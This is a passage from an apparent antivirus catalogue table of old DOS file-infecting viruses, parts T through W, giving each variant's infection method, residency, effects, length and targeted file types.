¦.Kela.4546 ¦INT ¦MCB ¦ V ¦4546 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦.Lamer ¦INT ¦MCB ¦ HV ¦3340 ¦ E * ¦ e ¦ L+? ¦
¦.PoetCode ¦INT ¦MCB ¦ Er ¦2114 ¦ .C.E&CE ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦TPVO.3654 ¦INT ¦MCB ¦ V ¦3654 ¦ CE ¦ e ¦ L ¦
¦TPVO.3783 ¦INT ¦MCB ¦ - ¦3783 ¦ CENE+boot*¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Trakia.561 ¦INT ¦MCB ¦ - ¦561 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Trakia.570 ¦INT ¦MCB ¦ - ¦570 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Trakia.653 ¦INT ¦MCB ¦ H ¦653 ¦ E * ¦ e ¦ L+p ¦
¦Trakia.1070 ¦INFI¦MCB ¦ H ¦1070 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Trivial.13 ¦FIND¦ - ¦ H ¦13 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Trivial.26 ¦FIND¦ - ¦ H ¦26 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Trivial.27 ¦FIND¦ - ¦ H ¦27 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Trivial.28 (2)¦FIND¦ - ¦ H ¦28 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Trivial.29 (3)¦FIND¦ - ¦ H ¦29 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Trivial.30 (3)¦FIND¦ - ¦ H ¦30 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Trivial.31 (2)¦FIND¦ - ¦ H ¦31 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Trivial.37 ¦FIND¦ - ¦ H ¦37 ¦ .C ¦ s ¦ L, overwrite ¦
¦Trivial.40 (2)¦FIND¦ - ¦ H ¦40 ¦ .C ¦ s ¦ L, overwrite ¦
¦Trivial.42 (2)¦FIND¦ - ¦ H ¦42 ¦ .C ¦ s ¦ L, overwrite ¦
¦Trivial.46 ¦FIND¦ - ¦ H ¦46 ¦ .C ¦ s ¦ L, overwrite ¦
¦Trivial.53 ¦FIND¦ - ¦ H ¦53 ¦ .C ¦ s ¦ L, overwrite ¦
¦Trivial.66 ¦FIND¦ - ¦ H ¦66 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Trivial.68 ¦FIND¦ - ¦ H ¦68 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Trivial.89 ¦FIND¦ - ¦ H ¦89 ¦ .C ¦ s ¦ L, overwrite ¦
¦Trivial.102 ¦FIND¦ - ¦ H ¦102 ¦ .C ¦ s ¦ L, overwrite ¦
¦Trivial.128 (2)¦FIND¦ - ¦ H ¦128 ¦ .C ¦ s ¦ L, overwrite ¦
¦Trivial.133 ¦FIND¦ - ¦ HV ¦133 ¦ .C ¦ s ¦ L, overwrite ¦
¦.Destroer.49 ¦FIND¦ - ¦ H ¦49 ¦ .C * ¦ s ¦ L, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Trojector.1463 ¦INT ¦MCB ¦ - ¦1463 ¦ .C.E&CE ¦ e ¦ L ¦
¦Trojector.1648 ¦INT ¦MCB ¦ - ¦1648 ¦ .C.E&CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Truxested.based¦INT ¦MCB ¦ V ¦ ? ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tsh.2UP.6000 ¦INT ¦MCB ¦HVEr¦6000 ¦ CEO * ¦ e,i ¦ L ¦
¦.Banana.2413 ¦INT ¦MCB ¦ HV ¦2413 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Turn.557 ¦INT ¦MCB ¦ V ¦557 ¦ .C * ¦ s ¦ L ¦
¦Turn.571 ¦INT ¦MCB ¦ V ¦571 ¦ .C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tune.544 ¦INT ¦INTB¦ SEr¦544 ¦ C * ¦ e ¦ L ¦
¦Tune.663 ¦INT ¦MCB ¦ V ¦663 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦TV.730 ¦INT ¦MCB ¦ H ¦730 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦TV.1919 ¦INT ¦MCB ¦ - ¦1919 ¦ CE ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Twist.290 ¦FIND¦ - ¦ - ¦290 ¦ .C ¦ e ¦ L+(0-255) ¦
¦Twist.294 ¦FIND¦ - ¦ - ¦294 ¦ .C ¦ e ¦ L+(0-255) ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tabulero.2048(2¦INT ¦KEEP¦ V ¦2048 ¦ E ¦ e ¦ L+p ¦
¦Tarakah.4064 ¦FIND¦ - ¦ V ¦4064 ¦ .E&E * ¦ e ¦ L+p ¦
¦TCE.Persecute ¦INT ¦MCB ¦ VEr¦3375 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦Teacher.2000 ¦INT ¦MCB ¦ VEr¦2000 ¦ E * ¦ e ¦ L ¦
¦Tentacle.10496 ¦INT ¦MCB ¦ Ch ¦10496¦ E * ¦ i,e ¦ L+? ¦
¦Terronia.2538 ¦INT ¦MCB ¦ - ¦2538 ¦ CE * ¦ e ¦ L ¦
¦Terrorist.1740 ¦FIND¦ - ¦ HV ¦1740 ¦ .C&C * ¦ e ¦ L+p ¦
¦Thc.1058 ¦INT ¦MCB ¦ V ¦1058 ¦ CE * ¦ e ¦ L ¦
¦ThreeSixs.666 ¦FIND¦ - ¦ H ¦666 ¦ .C ¦ e ¦ L ¦
¦Thunder.1543 ¦INT ¦MCB ¦ VCh¦1543 ¦ CE * ¦ i,e ¦ L ¦
¦Tic.109 ¦FIND¦ - ¦ - ¦109 ¦ .C ¦ s ¦ L ¦
¦Timishoara.2132¦INT ¦MCB ¦ VS ¦2132 ¦ .C.E&CE ¦ CsEe¦ L ¦
¦Tiso.1279 ¦INT ¦MCB ¦ V ¦1279 ¦ CE+boot*¦ e ¦ L ¦
¦Todor.1993 ¦FIND¦ - ¦ HEr¦1993 ¦ .C.E * ¦ e ¦ L ¦
¦Tony.338 ¦INT ¦INTB¦ Er ¦338 ¦ C * ¦ i ¦ 0 ¦
¦Toothless.873 ¦INFI¦MCB ¦ VH ¦873 ¦ .C ¦ e ¦ L ¦
¦Torero.1427 ¦INT ¦MCB ¦ VEr¦1427 ¦ .C ¦ e ¦ L ¦
¦Traka.1471 ¦INT ¦MCB ¦ - ¦1471 ¦ CE+boot*¦ e ¦ L ¦
¦Traven.515 ¦FIND¦ - ¦ V ¦515 ¦ .C&C* ¦ e ¦ L ¦
¦Tricks.195 ¦FIND¦ - ¦ - ¦195 ¦ .C ¦ e ¦ L ¦
¦Trident.346 ¦FIND¦ - ¦ HV ¦346 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦Trivia.319 ¦FIND¦ - ¦ V ¦319 ¦ .C&C ¦ e ¦ L ¦
¦Trooper.2259 ¦INT ¦MCB ¦ - ¦2259 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Trout.6804 ¦INFI¦MCB ¦ - ¦6804 ¦ .C&C* ¦ e ¦ L+? ¦
¦Trurl.846 ¦INT ¦MCB ¦ - ¦846 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Trust.867 ¦INT ¦VIDE¦ V ¦867 ¦ C * ¦ e ¦ L ¦
¦Truth.503 ¦INT ¦KEEP¦ V ¦503 ¦ .C * ¦ s ¦ L ¦
¦Tu28II.535 ¦FIND¦ - ¦ V ¦535 ¦ .C ¦ e ¦ L ¦
¦Tula.417 ¦INT ¦MCB ¦ V ¦417 ¦ C ¦ e ¦ L ¦
¦Tumot.432 ¦INT ¦MCB ¦ - ¦432 ¦ E * ¦ e ¦ L ¦
¦Turner.3276 ¦INT ¦EMS*¦ HV ¦3276 ¦ CE ¦ i ¦ L+? ¦
¦Tutanchamun.1034INT ¦MCB ¦ - ¦1034 ¦ CE * ¦ e ¦ L ¦
¦TVED.Trurl ¦FIND¦ - ¦ H ¦789 ¦ .C ¦ s ¦ 0, overwrite ¦
¦Twin.351 ¦INT ¦KEEP¦ - ¦351 ¦ .E ¦ s ¦ 0, overwrite ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part U
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Ukraine.3201(3)¦INT ¦MCB ¦HVS ¦3201 ¦ CE * ¦ e ¦ L ¦
¦Ukraine.3215 ¦INT ¦MCB ¦HVS ¦3215 ¦ CE * ¦ e ¦ L ¦
¦Ukraine.3300 ¦INT ¦MCB ¦HVS ¦3300 ¦ CE * ¦ e ¦ L ¦
¦Ukraine.3537 ¦INT ¦MCB ¦HVS ¦3537 ¦ CE * ¦ e ¦ L ¦
¦Ukraine.3627 ¦INT ¦MCB ¦HVS ¦3627 ¦ CE * ¦ e ¦ L ¦
¦Ukraine.3633 ¦INT ¦MCB ¦HVS ¦3633 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦UnGame.645 ¦INT ¦MCB ¦ Ch ¦645 ¦ .E&E * ¦ e ¦ L+p ¦
¦UnGame.823 ¦INT ¦MCB ¦ Ch ¦823 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Union.1449 ¦FIND¦ - ¦ V ¦1449 ¦ .E&E * ¦ e ¦ L+p ¦
¦Union.1531 ¦FIND¦ - ¦ V ¦1531 ¦ .E&E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Urod.662 ¦FIND¦ * ¦ HV ¦662 ¦ .E * ¦ e ¦ L ¦
¦Urod.773 ¦FIND¦ * ¦ HV ¦773 ¦ .E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Uruguay.2313 ¦INT ¦MCB ¦ V ¦2313 ¦ CE ¦ ei ¦ L + 1 ¦
¦Uruguay.2379 ¦INT ¦MCB ¦ V ¦2379 ¦ CE ¦ ei ¦ L + 1 ¦
¦Uruguay.2456 ¦INT ¦MCB ¦ V ¦2456 ¦ CE ¦ ei ¦ L + 1 + ? ¦
¦Uruguay.2623 ¦INT ¦MCB ¦ V ¦2623 ¦ CE ¦ ei ¦ L + 1 + ? ¦
¦Uruguay.4268 ¦INT ¦MCB ¦ V ¦4268 ¦ CE ¦ e ¦ L + 1 + ? ¦
¦Uruguay.4879 ¦INT ¦MCB ¦ V ¦4879 ¦ CE ¦ e ¦ L + 1 + ? ¦
¦Uruguay.4906 ¦INT ¦MCB ¦ V ¦4906 ¦ CE ¦ e ¦ L + 1 + ? ¦
¦Uruguay.6262 ¦INT ¦MCB ¦ V ¦6262 ¦ CE ¦ e ¦ L + 1 + ? ¦
¦Uruguay.6344 ¦INT ¦MCB ¦ V ¦6344 ¦ CE ¦ e ¦ L + 1 + ? ¦
¦Uruguay.6396 ¦INT ¦MCB ¦ V ¦6396 ¦ CE ¦ e ¦ L + 1 + ? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Uddy.2617 (2)¦INFI¦MCB ¦ HV ¦2617 ¦ .E * ¦ e ¦ L+p ¦
¦UFO.1468 ¦INT ¦MCB ¦ Ch ¦1468 ¦ E * ¦ e ¦ L+p ¦
¦Unbidden.507 ¦FIND¦ - ¦ - ¦507 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Urphin.1621 ¦INT ¦MCB ¦ - ¦1621 ¦ CE*.PAS*¦ e ¦ C-L, E-L+p ¦
¦USAHymn.1339 ¦FIND¦ - ¦ S ¦1339 ¦ .C * ¦ s ¦ L ¦
¦UVR.3919 ¦INT ¦KEEP¦ HV ¦3919 ¦ C ¦ e ¦ L ¦
¦UVScan.1633 ¦INT ¦MCB ¦ - ¦1633 ¦ CE * ¦ e ¦ L+? ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part V
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦V2Px.1260 ¦FIND¦ - ¦ - ¦1260 ¦ .C * ¦ e ¦ L ¦
¦.V2P6.1993 ¦FIND¦ - ¦ - ¦1993 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Vacsina.634 ¦INT ¦MCB ¦ H ¦634 ¦ CE * ¦ e ¦ L ¦
¦Vacsina.1206 ¦INT ¦MCB ¦ - ¦1206 ¦ CE * ¦ e ¦ C-L+p,E-L+p+132 ¦
¦Vacsina.1212 ¦INT ¦MCB ¦ - ¦1212 ¦ CE * ¦ e ¦ C-L+p,E-L+p+132 ¦
¦Vacsina.1269 ¦INT ¦MCB ¦ V ¦1269 ¦ CE * ¦ e ¦ C-L+p,E-L+p+132 ¦
¦Vacsina.1339 ¦INT ¦MCB ¦ - ¦1339 ¦ CE * ¦ e ¦ C-L+p,E-L+p+132 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦VCC.based ¦FIND¦ - ¦ ? ¦ ? ¦ .C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦VCL.466 ¦FIND¦ - ¦ S ¦466 ¦ .E * ¦ s ¦ L, companion ¦
¦VCL.662 ¦FIND¦ - ¦ HV ¦662 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦.BeePoP.587 ¦FIND¦ - ¦ V ¦587 ¦ .E * ¦ s ¦ L, companion ¦
¦.Mom.974 ¦FIND¦ - ¦ H ¦974 ¦ .C.E * ¦ e ¦ L+p ¦
¦.Timothy ¦FIND¦ - ¦ V ¦641 ¦ .E * ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦VCS.based ¦FIND¦ - ¦ H ¦ ? ¦ .C ¦ e ¦ L ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦VCS.Manta ¦FIND¦ - ¦ VH ¦1077 ¦ .C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦VICE-based viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦VICE.Code ¦INT ¦MCB ¦ HEr¦3952 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦.One13th ¦INT ¦MCB ¦ H ¦2706 ¦ CE * ¦ e ¦ L+? ¦
¦.Sample ¦INT ¦MCB ¦ - ¦2406 ¦ CE ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Vienna.318 ¦FIND¦ - ¦ - ¦318 ¦ .C ¦ e ¦ L ¦
¦Vienna.435 ¦FIND¦ - ¦ H ¦435 ¦ .C ¦ e ¦ L ¦
¦Vienna.458 ¦FIND¦ - ¦ - ¦458 ¦ .C * ¦ e ¦ L ¦
¦Vienna.462 ¦FIND¦ - ¦ - ¦462 ¦ .C * ¦ e ¦ L ¦
¦Vienna.466 ¦FIND¦ - ¦ - ¦466 ¦ .C ¦ e ¦ L ¦
¦Vienna.481 ¦FIND¦ - ¦ H ¦481 ¦ .C * ¦ e ¦ L ¦
¦Vienna.483 ¦FIND¦ - ¦ - ¦483 ¦ .C&C* ¦ e ¦ L ¦
¦Vienna.486 ¦FIND¦ - ¦ - ¦486 ¦ .C ¦ e ¦ L ¦
¦Vienna.502 ¦FIND¦ - ¦ H ¦502 ¦ .C * ¦ e ¦ L ¦
¦Vienna.507 (2)¦FIND¦ - ¦ - ¦507 ¦ .C ¦ e ¦ L ¦
¦Vienna.520 ¦FIND¦ - ¦ - ¦520 ¦ .C ¦ e ¦ L ¦
¦Vienna.533 ¦FIND¦ - ¦ H ¦533 ¦ .C ¦ e ¦ L ¦
¦Vienna.534 (4)¦FIND¦ - ¦ - ¦534 ¦ .C ¦ e ¦ L ¦
¦Vienna.535 ¦FIND¦ - ¦ H ¦535 ¦ .C ¦ e ¦ L ¦
¦Vienna.547 (2)¦FIND¦ - ¦ H ¦547 ¦ .C * ¦ e ¦ L+p ¦
¦Vienna.565 ¦FIND¦ - ¦ H ¦565 ¦ .C ¦ e ¦ L ¦
¦Vienna.576 ¦FIND¦ - ¦ - ¦576 ¦ .C ¦ e ¦ L ¦
¦Vienna.604 ¦FIND¦ - ¦ H ¦604 ¦ .C ¦ e ¦ L ¦
¦Vienna.613 ¦FIND¦ - ¦ S ¦613 ¦ .C&C ¦ e ¦ L ¦
¦Vienna.618 ¦FIND¦ - ¦ H ¦618 ¦ .C ¦ e ¦ L ¦
¦Vienna.621 ¦FIND¦ - ¦ H ¦621 ¦ .C ¦ e ¦ L ¦
¦Vienna.623 ¦FIND¦ - ¦ H ¦623 ¦ .C ¦ e ¦ L ¦
¦Vienna.625 ¦FIND¦ - ¦ V ¦625 ¦ .C * ¦ e ¦ L ¦
¦Vienna.626 ¦FIND¦ - ¦ H ¦626 ¦ .C ¦ e ¦ L ¦
¦Vienna.645 (2)¦FIND¦ - ¦ H ¦645 ¦ .C ¦ e ¦ L ¦
¦Vienna.644 ¦FIND¦ - ¦ - ¦644 ¦ .C ¦ e ¦ L ¦
¦Vienna.648 ¦FIND¦ - ¦ H ¦648 ¦ .C ¦ e ¦ L ¦
¦Vienna.660 ¦FIND¦ - ¦ V ¦660 ¦ .C ¦ e ¦ L ¦
¦Vienna.757 ¦FIND¦ - ¦ - ¦757 ¦ .C ¦ e ¦ L ¦
¦Vienna.776 ¦FIND¦ - ¦ V ¦776 ¦ .C * ¦ e ¦ L ¦
¦Vienna.822 ¦FIND¦ - ¦ - ¦822 ¦ .C ¦ e ¦ L ¦
¦Vienna.833 ¦FIND¦ - ¦ - ¦833 ¦ .C ¦ e ¦ L ¦
¦Vienna.843 ¦FIND¦ - ¦ H ¦843 ¦ .C ¦ e ¦ L ¦
¦Vienna.998 ¦FIND¦ - ¦ - ¦998 ¦ .C ¦ e ¦ L ¦
¦Vienna.1006 ¦FIND¦ - ¦ S ¦1006 ¦ .C ¦ e ¦ L ¦
¦Vienna.1239 ¦FIND¦ - ¦ H ¦1239 ¦ .C * ¦ e ¦ L ¦
¦Vienna.23693 ¦FIND¦ - ¦ HV ¦23693¦ .C ¦ e ¦ L ¦
¦.Twer ¦FIND¦ - ¦ - ¦1000 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Viking.59 ¦INT ¦INTB¦ - ¦59 ¦ C * ¦ s ¦ L ¦
¦Viking.1000 (3)¦INT ¦MCB ¦ V ¦700 ¦ CE ¦ e ¦ L ¦
¦Viking.1024 (2)¦INT ¦MCB ¦ V ¦1024 ¦ CE ¦ e ¦ L ¦
¦Viking.1333 ¦INFI¦MCB ¦ V ¦1333 ¦ CE ¦ e ¦ L+p ¦
¦Viking.2000 ¦INFI¦MCB ¦ V ¦2000 ¦ CE ¦ e ¦ L ¦
¦.Mixtura ¦INT ¦MCB ¦ - ¦1000 ¦ CEO * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Vinnitsa.1046 ¦FIND¦ - ¦ H ¦1046 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Vinnitsa.1207 ¦INT ¦MCB ¦ HCh¦1207 ¦ .E&E * ¦ e ¦ L+? ¦
¦Vinnitsa.1620 ¦INT ¦MCB ¦ H ¦1620 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Vinnitsa.1658 ¦INT ¦MCB ¦ H ¦1658 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦VirCheck.2161 ¦INT ¦MCB ¦ V ¦2161 ¦ CE * ¦ e ¦ L+p ¦
¦VirCheck.2170 ¦INT ¦MCB ¦ V ¦2170 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Virogen.ASeXual¦INT ¦MCB ¦ HV ¦1673 ¦ .C.E * ¦CeEs ¦ C-L+?,E-companion¦
¦.BombTrack ¦INFI¦MCB ¦ H ¦2349 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦.Offspring.711 ¦INFI¦KEEP¦ V ¦711 ¦ .E * ¦ s ¦ companion ¦
¦.Offspring.1130¦INFI¦MCB ¦ V ¦1130 ¦ .C.E * ¦CeEs ¦ C-L+?,E-companion¦
¦.Offspring.1294¦INFI¦MCB ¦ V ¦1294 ¦ .C.E * ¦CeEs ¦ C-L+?,E-companion¦
¦.Offspring.1555¦INFI¦MCB ¦ V ¦1555 ¦ .C.E * ¦CeEs ¦ C-L+?,E-companion¦
¦.PinWorm ¦INFI¦MCB ¦ H ¦2150 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Virus90.857 ¦FIND¦ - ¦ V ¦857 ¦ .C * ¦ e ¦ L ¦
¦Virus101.2560 ¦FIND¦ - ¦ HV ¦2560 ¦ .C.E&CE* ¦ e ¦ L, COMMAND.COM-0 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Viv.513 ¦INT ¦MCB ¦ Er ¦513 ¦ C * ¦ e ¦ L ¦
¦Viv.524 ¦INT ¦MCB ¦ - ¦524 ¦ C * ¦ e ¦ L ¦
¦Viv.771 ¦INT ¦MCB ¦ Er ¦771 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Vlad.Antipode ¦INT ¦MCB ¦ - ¦802 ¦ .C * ¦ e ¦ L ¦
¦.Daddy ¦INT ¦MCB ¦ H ¦1093 ¦ CE * ¦ e ¦ L ¦
¦.Fame ¦INT ¦MCB ¦ Er ¦842 ¦ E+boot * ¦ e ¦ L ¦
¦.Hemlock ¦INT ¦MCB ¦ - ¦3183 ¦ CES+boot*¦ e ¦ L ¦
¦.Idle ¦INT ¦MCB ¦ - ¦692 ¦ .C.E&CE ¦ e ¦ L ¦
¦.Insert ¦INT ¦MCB ¦ - ¦273 ¦ .C ¦ s ¦ L ¦
¦.Lapis ¦INT ¦INTB¦ - ¦445 ¦ E * ¦ i ¦ L ¦
¦.Mummy ¦INT ¦KEEP¦ Er ¦471 ¦ .E * ¦ s ¦ L, companion ¦
¦.Neither ¦FIND¦ - ¦ - ¦322 ¦ .C&C ¦ s ¦ L ¦
¦.NoOne ¦INT ¦MCB ¦ - ¦1237 ¦ C ¦ e ¦ L ¦
¦.Republic ¦INT ¦MCB ¦ - ¦1206 ¦ .C.E&CE ¦ e ¦ L ¦
¦.Sister ¦INT ¦MCB ¦ Er ¦792 ¦ .E * ¦ e ¦ L ¦
¦.Systa ¦FIND¦ - ¦ - ¦231 ¦ .S&S ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Vodka.551 ¦INT ¦MCB ¦ H ¦551 ¦ E * ¦ e ¦ L ¦
¦Vodka.560 ¦INT ¦MCB ¦ V ¦560 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Voronezh.370 ¦INT ¦KEEP¦ - ¦370 ¦ C ¦ s ¦ L ¦
¦Voronezh.600 ¦INT ¦MCB ¦ - ¦600 ¦ C ¦ s ¦ L ¦
¦Voronezh.650 ¦INT ¦MCB ¦ V ¦650 ¦ C * ¦ s ¦ L ¦
¦Voronezh.1536(3¦INT ¦MCB ¦ChEr¦1536 ¦ .C.E * ¦ e ¦ L ¦
¦Voronezh.1584 ¦INT ¦MCB ¦ HEr¦1584 ¦ .C.E * ¦ e ¦ L ¦
¦Voronezh.1600(2¦INT ¦MCB ¦ Er ¦1600 ¦ .C.E&CE* ¦CsEe ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦VS.612 ¦INT ¦MCB ¦ - ¦612 ¦ C * ¦ e ¦ L+p ¦
¦VS.1000 (3)¦INT ¦MCB ¦ - ¦1000 ¦ E ¦ e ¦ L ¦
¦VS.2790 ¦INT ¦MCB ¦ S ¦2790 ¦ .C.E&CE* ¦ e ¦ L ¦
¦VS.3900 ¦INT ¦MCB ¦ S ¦3900 ¦ .C.E&CE* ¦ e ¦ L ¦
¦VS.4000 ¦INT ¦MCB ¦ S ¦4000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Vandal.1895 ¦INT ¦ADDR¦ V ¦1895 ¦ C * ¦ e ¦ L ¦
¦Vanitas.2040 ¦INFI¦MCB ¦ VEr¦2040 ¦ E * ¦ e ¦ L ¦
¦Varna.1536 ¦INT ¦MCB ¦ H ¦1536 ¦ E+boot* ¦ e ¦ L ¦
¦VarWorm.913 ¦INT ¦MCB ¦ - ¦913 ¦ E * ¦ e ¦ L+? ¦
¦VBasic (4)¦FIND¦ - ¦ V ¦5120 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦VCode.2540 ¦FIND¦ - ¦ H ¦2540 ¦ .E * ¦ e ¦ L ¦
¦VComm.637 ¦FIND¦ * ¦ - ¦637 ¦ .E&E * ¦ e ¦ L+(0-512) ¦
¦Vengeance.723 ¦FIND¦ - ¦ HV ¦723 ¦ .C * ¦ e ¦ L ¦
¦Veronika.1549 ¦INT ¦MCB ¦ HV ¦1549 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Verwolf.3502 ¦FIND¦ * ¦ - ¦3502 ¦ .E&E * ¦ e ¦ L+? ¦
¦Vet.1377 ¦INT ¦MCB ¦ V ¦1377 ¦ CE * ¦ s ¦ C-L, E-L+? ¦
¦Victim.600 ¦FIND¦ - ¦ Ch ¦600 ¦ .C.E&C * ¦ e ¦ L ¦
¦Vinchuca.925 ¦INT ¦KEEP¦ HV ¦925 ¦ .C&C * ¦ s ¦ L ¦
¦Vindicator.734 ¦INT ¦MCB ¦ V ¦734 ¦ .C ¦ s ¦ L ¦
¦Violetta.1024 ¦INT ¦KEEP¦ - ¦1024 ¦ .C ¦ s ¦ L ¦
¦Virgin.281 ¦FIND¦ - ¦ - ¦281 ¦ .C * ¦ s ¦ L ¦
¦Viros.429 ¦INT ¦ADDR¦ V ¦429 ¦ .C * ¦ e ¦ L ¦
¦Vojager.512 ¦INT ¦MCB ¦ - ¦512 ¦ .E&E * ¦ e ¦ L ¦
¦Vpk.1430 ¦INT ¦VIDE¦ChV ¦1430 ¦ C * ¦ e ¦ L ¦
¦Vriest.1280 ¦INT ¦KEEP¦ V ¦1280 ¦ .C ¦ s ¦ L ++ ¦
¦Vs&W.507 ¦INT ¦MCB ¦ - ¦507 ¦ C * ¦ e ¦ L+p ¦
¦Vxh.462 ¦FIND¦ - ¦ H ¦462 ¦ .C&C ¦ e ¦ L ¦
¦Vxt.550 ¦INT ¦MCB ¦ - ¦550 ¦ C * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part W
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Warlock.666 ¦FIND¦ - ¦ - ¦666 ¦ .C&C * ¦ s ¦ L+(0-248) ¦
¦Warlock.1672 ¦INT ¦MCB ¦ H ¦1672 ¦ CEO * ¦ e ¦ C-L+p+4, E-L+p ¦
¦Warlock.1802 ¦INT ¦MCB ¦ H ¦1802 ¦ CEO * ¦ e ¦ L+p ¦
¦Warlock.1817 ¦INT ¦MCB ¦ H ¦1817 ¦ CE * ¦ e ¦ L+p ¦
¦Warlock.2879 ¦INT ¦MCB ¦ H ¦2879 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Wasp.1312 ¦FIND¦ -* ¦ HV ¦1312 ¦ .C * ¦ s ¦ L ¦
¦Wasp.1655 ¦INT ¦ADDR¦ HV ¦1655 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦WereWolf.Beast ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦.1192 ¦INT ¦MCB ¦ H ¦1192 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p ¦
¦.Beast.1208 ¦INT ¦MCB ¦ H ¦1208 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p ¦
¦.Howl.2662 ¦INT ¦MCB ¦ H ¦2662 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Howl.2845 ¦INT ¦MCB ¦ HEr¦2845 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.FullMoon ¦INT ¦MCB ¦ H ¦1367 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦.Scream.1152 ¦INT ¦MCB ¦ H ¦1152 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
